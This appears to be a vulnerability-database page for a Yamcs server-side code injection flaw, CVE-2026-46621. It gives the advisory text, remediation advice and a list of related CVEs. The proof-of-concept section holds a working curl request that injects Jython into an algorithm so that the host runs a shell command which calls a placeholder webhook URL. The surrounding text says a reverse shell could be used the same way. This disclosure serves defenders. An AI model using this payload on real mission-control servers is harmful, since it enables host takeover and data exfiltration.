Yamcs CVE-2026-46621
CRITICALSeverity by source
AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Lifecycle Timeline
3Blast Radius
ecosystem impact- 6 maven packages depend on org.yamcs:yamcs-core (6 direct, 0 indirect)
Ecosystem-wide dependent count for version 5.12.7.
DescriptionGitHub Advisory
Summary
A Server-Side Code Injection vulnerability exists in the Yamcs script evaluation engine for Python algorithms. The application dynamically compiles and evaluates user-controlled algorithm text using Jython (via the JSR-223 ScriptEngine API) without enforcing a secure sandbox. An authenticated user with the ChangeMissionDatabase privilege can exploit this by overriding the algorithm logic through the REST API, achieving Remote Code Execution (RCE) on the underlying host operating system.
Details
The vulnerability lies in how Yamcs handles dynamic script evaluation. When a user updates an algorithm via the MDB (Mission Database) API (/api/mdb/{instance}/realtime/algorithms/{name}), the AlgorithmManager uses the ScriptAlgorithmExecutorFactory to instantiate a JSR-223 ScriptEngine (in this case, Jython/Python).
Because Jython allows seamless interoperability with native Java classes, an attacker can import and execute arbitrary Java classes such as java.lang.Runtime. Any valid Python algorithm can be overwritten with a malicious payload that executes OS-level commands.
PoC
Prerequisites:
- A running Yamcs instance with the Jython engine available in its classpath (e.g.,
jython-standalonedependency included). - An active authentication token for a user with the
SystemPrivilege.ChangeMissionDatabaseprivilege. - An existing algorithm defined in the Mission Database (MDB) with its language explicitly set to
python(e.g., a custompocalgorithm). *Note: Yamcs prevents changing the underlying language engine of an algorithm via the API, so an existing Python algorithm must be targeted.*
Exploitation Steps:
- Send an authenticated HTTP PATCH request to the MDB API endpoint to inject the malicious Jython code into the existing Python algorithm. The payload leverages
java.lang.Runtimeto execute an OS command (e.g., triggering an external webhook or a reverse shell).
curl -i -X PATCH http://<YAMCS-SERVER-IP>:8090/api/mdb/myproject/realtime/algorithms/myproject/poc \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer <YOUR_AUTH_TOKEN>' \
-d '{
"action": "SET",
"algorithm": {
"text": "import java.lang.Runtime\njava.lang.Runtime.getRuntime().exec([\"bash\", \"-c\", \"curl https://<YOUR-WEBHOOK-URL>/RCE\"])\nout0.value = 1.0"
}
}'*(Note: Assigning a valid output like out0.value = 1.0 ensures the algorithm returns the expected data type to the Yamcs internal processor, preventing crash loops and ensuring clean execution).*
- Trigger the algorithm evaluation by sending telemetry data that the algorithm depends on (e.g., running the
simulator.pyscript to update the required parameters likeSunsensor). - The Yamcs server compiles the injected text into an executable script on the fly.
- Verify that the OS command executed successfully on the host machine by checking the incoming HTTP request on the provided webhook URL.
Impact
It impacts any Yamcs deployment where users are granted the ChangeMissionDatabase privilege and a scripting engine (like Jython) is present in the classpath. An attacker can leverage this to escalate application-level configuration privileges to full System/OS control, leading to arbitrary command execution, data exfiltration, and potential lateral movement within the hosting infrastructure.
Credits
Discovered & reported by Pablo Picurelli Ortiz (@superpegaso2703), cybersecurity student at Universidad Rey Juan Carlos.
AnalysisAI
Remote code execution in Yamcs (the open-source mission control framework, yamcs-core) before 5.12.7 lets an authenticated operator holding the ChangeMissionDatabase privilege overwrite a Python (Jython) algorithm via the Mission Database REST API and run arbitrary OS commands on the host. The Jython script engine is invoked without a sandbox, so injected algorithm text can import java.lang.Runtime and shell out. Publicly available exploit code exists (a full PoC is published in the GitHub Security Advisory), but the issue is not listed in CISA KEV and no public in-the-wild exploitation is identified.
Technical ContextAI
Yamcs supports user-defined telemetry/command algorithms written in scripting languages. For Python-language algorithms, the AlgorithmManager uses ScriptAlgorithmExecutorFactory to obtain a JSR-223 javax.script.ScriptEngine backed by Jython (the jython-standalone dependency). Jython compiles and evaluates the user-supplied algorithm body with no security manager or restricted execution context, and because Jython offers seamless interop with the host JVM, script code can import native Java classes such as java.lang.Runtime and ProcessBuilder. This is a textbook CWE-94 (Improper Control of Generation of Code / Code Injection) flaw: untrusted text supplied through the MDB API at /api/mdb/{instance}/realtime/algorithms/{name} is treated as executable code. The affected artifact is the Maven package pkg:maven/org.yamcs:yamcs-core.
RemediationAI
Vendor-released patch: 5.12.7 - upgrade org.yamcs:yamcs-core to 5.12.7 or later as the primary fix. Where immediate upgrade is not possible, reduce the privilege surface by auditing and revoking the SystemPrivilege.ChangeMissionDatabase grant so only a minimal, trusted set of operators retains it (trade-off: those users lose the ability to edit the Mission Database at runtime). As a stronger compensating control, remove the Jython/jython-standalone scripting engine from the deployment classpath if Python algorithms are not required, which eliminates the execution path entirely (trade-off: any existing Python-language algorithms will stop functioning). Additionally restrict network access to the Yamcs HTTP API (default port 8090), particularly the /api/mdb/{instance}/realtime/algorithms/ endpoints, to trusted management networks. See the advisory at https://github.com/yamcs/yamcs/security/advisories/GHSA-2g95-6x5q-xjwj for authoritative guidance.
Oracle Java SE 7 Update 6 and earlier contains multiple sandbox bypass vulnerabilities via the ClassFinder and forName m
Remote code execution in IBM Sterling B2B Integrator, Sterling Integrator, and Tivoli Common Reporting allows unauthenti
Java Runtime Environment sandbox bypass via incorrect image channel verification in 2D component allows remote unauthent
Oracle Java SE JDK/JRE 7 and 6 Update 27 and earlier allows remote code execution with complete system compromise throug
JBoss Seam 2 in Red Hat JBoss EAP 4.3.0 fails to sanitize JBoss Expression Language inputs, allowing remote attackers to
Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 update 4 and earlier, 6 up
Multiple vulnerabilities in Oracle Java 7 before Update 11 allow remote attackers to execute arbitrary code by (1) using
Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 2 and earlier, 6 Up
The WLS Security component in Oracle WebLogic Server 10.3.6.0, 12.1.2.0, 12.1.3.0, and 12.2.1.0 allows remote attackers
Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 7 and earlier allow
Remote unauthenticated attackers can execute arbitrary code on Adobe ColdFusion servers through Java deserialization fla
The ExceptionDelegator component in Apache Struts before 2.2.3.1 interprets parameter values as OGNL expressions during
Same weakness CWE-94 – Code Injection
View allShare
External POC / Exploit Code
Leaving vuln.today
GHSA-2g95-6x5q-xjwj